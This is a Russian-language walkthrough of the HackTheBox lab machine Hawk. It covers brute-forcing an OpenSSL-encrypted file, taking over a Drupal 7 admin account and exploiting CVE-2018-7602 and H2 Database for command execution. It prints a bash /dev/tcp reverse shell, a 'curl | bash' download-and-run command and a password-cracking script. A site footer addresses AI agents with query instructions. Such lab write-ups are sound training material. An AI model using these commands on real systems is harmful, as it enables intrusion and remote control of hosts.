> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md). # Разбор HackTheBox Hawk Разбор машины Hawk HackTheBox Medium на Linux, охватывающий подбор и расшифровку шифров OpenSSL, перечисление/эксплуатацию Drupal, эксплуатацию базы данных H2, с практическим перечислением, эксплуатацией, закреплением и п {% embed url="" %} {% hint style="warning" %} **Навыки:** * Взлом и расшифровка шифра OpenSSL методом перебора * Перечисление/эксплуатация Drupal * Эксплуатация базы данных H2 {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.
**Проверка подключения к VPN** Проверка VPN-подключения для обеспечения стабильной связи с целевой машиной
**Обнаружение открытых портов с помощью Nmap:** Поиск открытых портов и экспорт в файл "allPorts" в каталоге Nmap. ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.102 -oG allPorts ```
**Анализ открытых портов с extractPorts:** Использование функции extractPorts для краткого отображения открытых портов и копирования их в буфер обмена (21,22,80,5435,9092)
#### Сканирование версий портов с помощью Nmap: Используйте Nmap для сканирования версий служб и сохраните вывод в файл "targeted": ```bash nmap -sCV -p21,22,80,5435,9092 10.10.10.102 -oN targeted ```
### Порт 21 - FTP Мы подключаемся как **anonymous** пользователь и обнаруживаем скрытый файл с названием `.drupal.txt.enc`.
## Грубый перебор - Openssh (.enc) > Эта **.enc** расширение обычно указывает на **закодированный** файл (зашифрованный). Этот термин означает, что содержимое файла было защищено алгоритмом шифрования, что делает данные нечитаемыми без соответствующего ключа или пароля. Такие файлы могут содержать любой тип данных (текст, изображения, видео и т. д.) и обычно используются для защиты конфиденциальной информации. Эта `.enc` файл зашифрован алгоритмом **AES-256-CBC** и закодирован в **Base64**.
**Шаг 1: Декодирование Base64** ```bash cat .drupal.txt.enc | base64 -d > file_decoded.enc ```
**Шаг 2: Расшифровка с OpenSSL** Чтобы расшифровать файл, нам нужен пароль. Вот команда для попытки ручной расшифровки: ```bash openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64 ```
**Шаг 3: Скрипт автоматизации для грубого перебора** Мы используем Bash-скрипт для проверки списка паролей (например, `rockyou.txt`). ```bash #!/bin/bash function ctrl_c(){ echo -e "/n/n[!] Завершение.../n" tput cnorm; exit 1 } # Ctrl+C trap ctrl_c INT tput civis for password in $(cat /usr/share/wordlists/rockyou.txt); do openssl aes-256-cbc -d -in drupal.enc -out drupal.decrypted -pass pass:$password &>/dev/null if [ "$(echo $?)" == "0" ]; then echo -e "/n[+] Пароль : $password/n" exit 0 fi done; tput cnorm ``` **Результат:** Найденный пароль: **друзья**
#### **Расшифрованное сообщение** Расшифрованный файл содержит новый пароль: ```bash openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64 друзья ``` * **PencilKeyboardScanner123**
## Порт 80 - HTTP На порту 80 размещён Drupal 7 CMS. ```bash whatweb 10.10.10.102 ```
**Аутентификация - доступ по паролю** Попробуйте подключиться с `PencilKeyboardScanner123` паролем для пользователя `admin` и аутентификация проходит успешно.
### Обратная оболочка - Drupal 7 Мы будем использовать следующий скрипт для выполнения команд на сервере Drupal версии ниже 7 (CVE-2018-7602): {% embed url="" %} ```bash python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "id" -f "passthru" ``` Эта команда позволяет выполнить `id` команду на сервере.
**Доступ к серверу**/ Для получения доступа к серверу нам нужно слушать порт 443 с помощью `nc` ```bash nc -nvlp 443 ``` Затем вы создаёте `index.html` файл со следующим содержимым, чтобы установить обратную оболочку: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.30/443 0>&1 ``` **Веб-сервер и выполнение команд**/ Запускает HTTP-сервер с Python: ```bash python3 -m http.server 80 ``` Затем отправьте следующую команду, чтобы скачать и запустить скрипт: ```bash curl http://10.10.14.3 | bash ``` ```bash python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "curl http://10.10.14.30 | bash" -f "passthru" ```
**Стабилизация терминала** Для управления терминалом используются следующие команды: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Флаг user.txt :)
## **Повышение привилегий** Исследуя веб-каталог по адресу `/var/www/html`, можно увидеть несколько конфигурационных файлов. Среди них выявлен интересный файл:
**Путь :** `sites/default/settings.php` При просмотре этого файла мы находим конфиденциальную информацию: * Имя пользователя: drupal * Пароль: drupal4hawk
Эти учётные данные подключаются к базе данных MySQL. Для этого используются следующие команды: ```bash mysql -u drupal -p ```
После ввода пароля выводятся все доступные базы данных, а затем выбирается база данных, связанная с Drupal: ```sql show databases; use drupal; ``` Оказавшись в базе данных, мы исследуем содержимое `users` таблицы, чтобы найти интересную информацию: ``` SELECT * FROM users; ``` В этой таблице мы находим хешированный пароль, связанный с пользователем:
* `$S$DFw163ixD00W55hdCqtvCB13XOTLhZ0pt0FVpFy1Ntmdp5EAOX08` ### Грубый перебор John - хеш пароля Используйте John для взлома хеша пароля ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` Однако в этом конкретном случае совпадение не было найдено в `rockyou.txt` списке паролей. ### Выход из Python в обычный Bash Мы получили доступ к серверу как `daniel` пользователь с паролем, связанным с базой данных (в этом примере, **drupal4hawk**). Вот команда для подключения: ```bash ssh daniel@10.10.10.182 ``` Пароль: **drupal4hawk** После подключения мы сразу оказываемся в интерпретаторе Python.
Чтобы вернуться к обычной оболочке Bash, мы можем использовать модуль Python `os` для выполнения команды Bash. Вот шаги: 1. Импортируйте модуль `os` : ```python import os ``` 2. Запустите оболочку Bash: ```python os.system('/bin/bash') ``` Это позволит вам получить доступ к обычной оболочке Bash из интерпретатора Python.
## Эксплуатация базы данных H2 /*/* Анализ открытых портов/*/* Для начала перечислим открытые порты внутри системы с помощью следующей команды: ```bash netstat -tuln ``` Мы определяем, что порт **8082** открыт и на нём запущен сервис. Анализируя его, мы обнаруживаем, что это база данных CMS: **H2 Database**.
Чтобы получить доступ к этой службе с нашей машины, мы выполняем перенаправление порта с помощью **SSH**, перенаправляя внутренний порт 8082 на порт 8082 нашей локальной машины:
### Перенаправление портов Чтобы получить доступ к этой службе с нашей машины, мы выполняем перенаправление порта с помощью **SSH**, перенаправляя внутренний порт 8082 на порт 8082 нашей локальной машины: ```bash ssh -L 8082:127.0.0.1:8082 daniel@10.10.10.102 ``` ### База данных H2:
Мы используем **searchsploit** чтобы найти известные уязвимости, связанные с H2 Database:
``` searchsploit -m java/webapps/45506.py ``` Мы находим интересный эксплойт, позволяющий удалённое выполнение команд: ```bash python3 45506.py -H 127.0.0.1:8082 ```
### Флаг root.txt :) Скрипт позволяет нам выполнять команды на целевой машине. Исследуя систему, мы получаем **флаг root.txt**.
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.